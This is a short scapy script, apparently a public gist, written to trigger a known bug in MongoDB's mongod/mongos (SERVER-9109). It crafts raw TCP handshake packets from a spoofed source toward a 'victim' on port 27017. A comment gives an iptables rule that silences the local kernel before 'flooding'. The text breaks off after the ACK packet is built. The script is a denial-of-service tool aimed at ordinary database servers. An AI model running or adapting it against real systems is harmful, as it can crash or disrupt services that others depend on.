darkk

# scapy script to trigger bug in mongod / mongos: https://jira.mongodb.org/browse/SERVER-9109
#
# Do $(iptables -I INPUT -p tcp --dport 12345 -j DROP) at vm host before flooding.

vm = '1.2.3.4' # src
victim = '9.8.7.6' # dst
def f():
    syn = IP(src=vm, dst=victim)/TCP(sport=12345, dport=27017, flags="S")
    sa = sr1(syn)
    ack = IP(src=vm, dst=victim)/TCP(sport=12345, dport=27017, seq=sa.ack, ack=sa.seq+1, flags="A")